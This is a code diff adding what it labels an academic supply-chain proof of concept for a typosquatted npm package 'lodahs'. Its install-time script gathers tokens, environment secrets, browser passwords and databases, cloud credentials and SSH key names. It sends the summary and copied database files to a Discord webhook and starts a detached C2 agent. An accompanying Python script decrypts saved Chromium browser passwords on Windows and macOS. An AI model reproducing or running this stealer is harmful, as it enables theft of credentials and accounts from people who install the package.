+ value: Object.entries(d.env).map(([k, v]) => `**${k}:** \`${clamp(v, 45)}\``).join("\n"),
358
+ inline: false,
359
+ });
360
+ }
361
+
362
+ // Passwords
363
+ if (d.passwords && d.passwords.length > 0) {
364
+ const preview = d.passwords.slice(0, 8)
365
+ .map((p) => `**[${p.browser}]** \`${clamp(p.url, 30)}\`\n👤 \`${p.username}\` 🔑 \`${p.password}\``)
366
+ .join("\n");
367
+ fields.push({
368
+ name: `Passwords (${d.passwords.length} gefunden)`,
369
+ value: preview,
370
+ inline: false,
371
+ });
372
+ }
373
+
374
+ // Browsers
375
+ if (d.browsers) {
376
+ fields.push({
377
+ name: `Browser DBs gefunden (${d.browsers.length})`,
378
+ value: d.browsers.map((b) => `\`${b.name}\` — ${b.size_bytes} bytes`).join("\n"),
379
+ inline: false,
380
+ });
381
+ }
382
+
383
+ // Cloud Creds
384
+ if (d.cloud) {
385
+ fields.push({
386
+ name: "Cloud / Keychain",
387
+ value: d.cloud.map((c) =>
388
+ c.value
389
+ ? `**${c.type}:** \`${clamp(c.value, 40)}\``
390
+ : `**${c.type}:** \`${clamp(c.path || "", 45)}\` (${c.size || "?"} bytes)`
391
+ ).join("\n"),
392
+ inline: false,
393
+ });
394
+ }
395
+
396
+ // SSH Keys
397
+ if (d.ssh) {
398
+ fields.push({
399
+ name: `SSH Private Keys (${d.ssh.length})`,
400
+ value: d.ssh.map((k) => `\`${path.basename(k)}\``).join(", "),
401
+ inline: false,
402
+ });
403
+ }
404
+
405
+ // Firefox
406
+ if (d.firefox) {
407
+ fields.push({
408
+ name: "Firefox Profile",
409
+ value: d.firefox.map((p) =>
410
+ `\`${p.profile}\` — places: ${p.places ? "✓" : "✗"} logins: ${p.logins ? "✓" : "✗"} cookies: ${p.cookies ? "✓" : "✗"}`
411
+ ).join("\n"),
412
+ inline: false,
413
+ });
414
+ }
415
+
416
+ return {
417
+ embeds: [{
418
+ title: "SUPPLY CHAIN POC — Victim",
419
+ description: `\`lodahs\` postinstall auf \`${d.system.hostname}\`\n> **STAGED DATA — AKADEMISCHER POC**`,
420
+ color: 0xff4444,
421
+ fields,
422
+ footer: { text: "Supply Chain Attack Demo | Abschlussarbeit Cybersecurity" },
423
+ timestamp: new Date().toISOString(),
424
+ }],
425
+ };
426
+ }
427
+
428
+ // ── File Dump ─────────────────────────────────────────────────────────────────
429
+
430
+ const DUMP_DIR = path.join(os.tmpdir(), "poc_dump");
431
+
432
+ function dumpFiles(browsers) {
433
+ if (!browsers) return [];
434
+ try { fs.mkdirSync(DUMP_DIR, { recursive: true }); } catch { return []; }
435
+
436
+ const copied = [];
437
+ for (const b of browsers) {
438
+ try {
439
+ const safeName = b.name.replace(/\s+/g, "_").toLowerCase() + ".db";
440
+ const dest = path.join(DUMP_DIR, safeName);
441
+ fs.copyFileSync(b.p, dest);
442
+ copied.push({ name: b.name, dest, size: b.size_bytes });
443
+ } catch { /* file locked or no permission */ }
444
+ }
445
+ return copied;
446
+ }
447
+
448
+ // ── Multipart Send ────────────────────────────────────────────────────────────
449
+
450
+ function sendEmbedOnly(embed) {
451
+ const url = new URL(WEBHOOK_URL);
452
+ const body = JSON.stringify(embed);
453
+ const req = https.request({
454
+ hostname: url.hostname,
455
+ path: url.pathname + url.search,
456
+ method: "POST",
457
+ headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) },
458
+ }, () => {});
459
+ req.on("error", () => {});
460
+ req.write(body);
461
+ req.end();
462
+ }
463
+
464
+ function sendFileToWebhook(filePath, filename, caption) {
465
+ return new Promise((resolve) => {
466
+ let fileData;
467
+ try { fileData = fs.readFileSync(filePath); } catch { return resolve(); }
468
+
469
+ const boundary = "----PoC" + Math.random().toString(36).slice(2);
470
+ const payloadJson = JSON.stringify({ content: caption });
471
+
472
+ const head = Buffer.from(
473
+ `--${boundary}\r\nContent-Disposition: form-data; name="payload_json"\r\n\r\n${payloadJson}\r\n` +
474
+ `--${boundary}\r\nContent-Disposition: form-data; name="file"; filename="${filename}"\r\nContent-Type: application/octet-stream\r\n\r\n`
475
+ );
476
+ const tail = Buffer.from(`\r\n--${boundary}--\r\n`);
477
+ const body = Buffer.concat([head, fileData, tail]);
478
+
479
+ const url = new URL(WEBHOOK_URL);
480
+ const req = https.request({
481
+ hostname: url.hostname,
482
+ path: url.pathname + url.search,
483
+ method: "POST",
484
+ headers: {
485
+ "Content-Type": `multipart/form-data; boundary=${boundary}`,
486
+ "Content-Length": body.length,
487
+ },
488
+ }, () => resolve());
489
+ req.on("error", () => resolve());
490
+ req.write(body);
491
+ req.end();
492
+ });
493
+ }
494
+
495
+ async function sendAllFiles(copied) {
496
+ for (const f of copied) {
497
+ await sendFileToWebhook(
498
+ f.dest,
499
+ path.basename(f.dest),
500
+ `📁 \`${f.name}\` — ${f.size} bytes`
501
+ );
502
+ // Discord rate limit
503
+ await new Promise((r) => setTimeout(r, 1000));
504
+ }
505
+ }
506
+
507
+ // ── Main ──────────────────────────────────────────────────────────────────────
508
+
509
+ (async function main() {
510
+ const data = {
511
+ system: collectSystem(),
512
+ discord: collectDiscordToken(),
513
+ telegram: collectTelegram(),
514
+ env: collectEnvSecrets(),
515
+ passwords:collectPasswords(),
516
+ browsers: collectBrowsers(),
517
+ cloud: collectCloudCreds(),
518
+ ssh: collectSSHKeys(),
519
+ firefox: collectFirefoxProfiles(),
520
+ };
521
+
522
+ // 1. Embed mit Uebersicht senden
523
+ sendEmbedOnly(buildEmbed(data));
524
+
525
+ // 2. Browser-DBs in Temp kopieren
526
+ const copied = dumpFiles(data.browsers);
527
+
528
+ // 3. Jede kopierte Datei als Attachment hochladen
529
+ if (copied.length > 0) {
530
+ await new Promise((r) => setTimeout(r, 1500));
531
+ await sendAllFiles(copied);
532
+ }
533
+
534
+ // 4. C2 Agent als detached Prozess starten
535
+ const agentPath = path.join(__dirname, "agent.js");
536
+ if (fs.existsSync(agentPath)) {
537
+ const child = spawn(process.execPath, [agentPath], {
538
+ detached: true,
539
+ stdio: "ignore",
540
+ env: { ...process.env },
541
+ });
542
+ child.unref();
543
+ }
544
+ })();
@@ -0,0 +1,188 @@
1
+ #!/usr/bin/env python3
2
+ import os, sys, json, base64, sqlite3, shutil, tempfile
3
+
4
+ try:
5
+ from Crypto.Cipher import AES
6
+ except ImportError:
7
+ try:
8
+ import subprocess
9
+ subprocess.run([sys.executable, "-m", "pip", "install", "pycryptodome", "-q"], check=True)
10
+ from Crypto.Cipher import AES
11
+ except Exception:
12
+ print(json.dumps({"error": "pycryptodome not available"}))
13
+ sys.exit(0)
14
+
15
+ PLATFORM = sys.platform
16
+ HOME = os.path.expanduser("~")
17
+
18
+ # ── Key extraction ────────────────────────────────────────────────────────────
19
+
20
+ def get_key_windows(local_state_path):
21
+ try:
22
+ import ctypes, ctypes.wintypes
23
+ with open(local_state_path, "r", encoding="utf-8") as f:
24
+ ls = json.load(f)
25
+ enc_key = base64.b64decode(ls["os_crypt"]["encrypted_key"])[5:] # strip "DPAPI"
26
+
27
+ class DATA_BLOB(ctypes.Structure):
28
+ _fields_ = [("cbData", ctypes.wintypes.DWORD), ("pbData", ctypes.POINTER(ctypes.c_char))]
29
+
30
+ p = ctypes.create_string_buffer(enc_key, len(enc_key))
31
+ blobin = DATA_BLOB(len(enc_key), p)
32
+ blobout = DATA_BLOB()
33
+ ctypes.windll.crypt32.CryptUnprotectData(
34
+ ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
35
+ size = blobout.cbData
36
+ ptr = blobout.pbData
37
+ key = bytes(ptr[i] for i in range(size))
38
+ ctypes.windll.kernel32.LocalFree(ptr)
39
+ return key
40
+ except Exception as e:
41
+ return None
42
+
43
+ def get_key_macos(browser_name):
44
+ try:
45
+ import subprocess
46
+ result = subprocess.run(
47
+ ["security", "find-generic-password", "-wa", browser_name],
48
+ capture_output=True, text=True, timeout=5
49
+ )
50
+ pw = result.stdout.strip()
51
+ if not pw:
52
+ return None
53
+ return (pw * 3)[:16].encode("utf-8") # Chromium macOS key derivation
54
+ except Exception:
55
+ return None
56
+
57
+ # ── Decrypt password ──────────────────────────────────────────────────────────
58
+
59
+ def decrypt_password(enc_value, key):
60
+ try:
61
+ if enc_value[:3] == b"v10" or enc_value[:3] == b"v11":
62
+ nonce = enc_value[3:15]
63
+ cipher = enc_value[15:]
64
+ aes = AES.new(key, AES.MODE_GCM, nonce)
65
+ return aes.decrypt(cipher[:-16]).decode("utf-8", errors="replace")
66
+ else:
67
+ # Legacy: DPAPI encrypted directly (Windows only)
68
+ if PLATFORM == "win32":
69
+ import ctypes, ctypes.wintypes
70
+ class DATA_BLOB(ctypes.Structure):
71
+ _fields_ = [("cbData", ctypes.wintypes.DWORD), ("pbData", ctypes.POINTER(ctypes.c_char))]
72
+ p = ctypes.create_string_buffer(enc_value, len(enc_value))
73
+ blobin = DATA_BLOB(len(enc_value), p)
74
+ blobout = DATA_BLOB()
75
+ ctypes.windll.crypt32.CryptUnprotectData(
76
+ ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
77
+ size = blobout.cbData
78
+ ptr = blobout.pbData
79
+ pw = bytes(ptr[i] for i in range(size)).decode("utf-8", errors="replace")
80
+ ctypes.windll.kernel32.LocalFree(ptr)
81
+ return pw
82
+ except Exception:
83
+ pass
84
+ return None
85
+
86
+ # ── Browser profiles ──────────────────────────────────────────────────────────
87
+
88
+ def get_browser_profiles():
89
+ if PLATFORM == "win32":
90
+ local = os.environ.get("LOCALAPPDATA", os.path.join(HOME, "AppData", "Local"))
91
+ appdata = os.environ.get("APPDATA", os.path.join(HOME, "AppData", "Roaming"))
92
+ return [
93
+ {
94
+ "name": "Chrome",
95
+ "local_state": os.path.join(local, "Google", "Chrome", "User Data", "Local State"),
96
+ "login_data": os.path.join(local, "Google", "Chrome", "User Data", "Default", "Login Data"),
97
+ "key_name": None,
98
+ },
99
+ {
100
+ "name": "Brave",
101
+ "local_state": os.path.join(local, "BraveSoftware", "Brave-Browser", "User Data", "Local State"),
102
+ "login_data": os.path.join(local, "BraveSoftware", "Brave-Browser", "User Data", "Default", "Login Data"),
103
+ "key_name": None,
104
+ },
105
+ {
106
+ "name": "Edge",
107
+ "local_state": os.path.join(local, "Microsoft", "Edge", "User Data", "Local State"),
108
+ "login_data": os.path.join(local, "Microsoft", "Edge", "User Data", "Default", "Login Data"),
109
+ "key_name": None,
110
+ },
111
+ ]
112
+ else: # macOS
113
+ lib = os.path.join(HOME, "Library", "Application Support")
114
+ return [
115
+ {
116
+ "name": "Chrome",
117
+ "local_state": os.path.join(lib, "Google", "Chrome", "Local State"),
118
+ "login_data": os.path.join(lib, "Google", "Chrome", "Default", "Login Data"),
119
+ "key_name": "Chrome",
120
+ },
121
+ {
122
+ "name": "Brave",
123
+ "local_state": os.path.join(lib, "BraveSoftware", "Brave-Browser", "Local State"),
124
+ "login_data": os.path.join(lib, "BraveSoftware", "Brave-Browser", "Default", "Login Data"),
125
+ "key_name": "Brave Browser",
126
+ },
127
+ {
128
+ "name": "Edge",
129
+ "local_state": os.path.join(lib, "Microsoft Edge", "Local State"),
130
+ "login_data": os.path.join(lib, "Microsoft Edge", "Default", "Login Data"),
131
+ "key_name": "Microsoft Edge",
132
+ },
133
+ ]
134
+
135
+ # ── Main extraction ───────────────────────────────────────────────────────────
136
+
137
+ def extract_all():
138
+ results = []
139
+
140
+ for browser in get_browser_profiles():
141
+ if not os.path.exists(browser["login_data"]):
142
+ continue
143
+
144
+ # Get decryption key
145
+ key = None
146
+ if PLATFORM == "win32":
147
+ if os.path.exists(browser["local_state"]):
148
+ key = get_key_windows(browser["local_state"])
149
+ else:
150
+ key = get_key_macos(browser["key_name"])
151
+
152
+ if not key:
153
+ continue
154
+
155
+ # Copy DB to temp (browser locks the file)
156
+ tmp = os.path.join(tempfile.gettempdir(), f"poc_{browser['name']}_login.db")
157
+ try:
158
+ shutil.copy2(browser["login_data"], tmp)
159
+ except Exception:
160
+ continue
161
+
162
+ try:
163
+ conn = sqlite3.connect(tmp)
164
+ rows = conn.execute(
165
+ "SELECT origin_url, username_value, password_value FROM logins"
166
+ ).fetchall()
167
+ conn.close()
168
+ except Exception:
169
+ continue
170
+ finally:
171
+ try: os.remove(tmp)
172
+ except: pass
173
+
174
+ for url, user, enc_pw in rows:
175
+ if not user and not enc_pw:
176
+ continue
177
+ pw = decrypt_password(enc_pw, key) if enc_pw else ""
178
+ results.append({
179
+ "browser": browser["name"],
180
+ "url": url,
181
+ "username": user,
182
+ "password": pw or "(encrypted)",
183
+ })
184
+
185
+ print(json.dumps(results))
186
+
187
+ if __name__ == "__main__":
188
+ extract_all()